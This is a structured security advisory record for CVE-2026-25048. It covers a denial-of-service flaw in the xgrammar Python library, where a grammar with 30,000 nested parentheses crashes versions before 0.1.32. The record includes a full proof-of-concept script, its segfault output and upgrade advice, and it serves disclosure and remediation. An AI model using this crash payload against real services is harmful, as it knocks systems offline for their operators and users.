{"id":"CVE-2026-25048","aliases":["GHSA-7rgv-gqhr-fxg3","PYSEC-2026-2322"],"title":"xgrammar vulnerable to DoS via multi-layer nesting","summary":"xgrammar vulnerable to DoS via multi-layer nesting","severity":"high","vendor":"xgrammar","product":"xgrammar","ecosystem":"pip","affected":["xgrammar < 0.1.32"],"patched":["xgrammar 0.1.32"],"published":"2026-03-05","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:38.008741123Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-7rgv-gqhr-fxg3","references":[{"url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048"},{"url":"https://github.com/mlc-ai/xgrammar"},{"url":"https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"}],"tags":["osv","pip"],"epss":0.00706,"epssPercentile":0.5196,"ingestedAt":"2026-07-13T18:57:54.697Z","slug":"CVE-2026-25048","body":"## Overview\n\n### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = '(' * 30000 + 'a'\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n> pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n> python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS\n\n## Affected packages\n\n- `xgrammar < 0.1.32`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `xgrammar 0.1.32`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}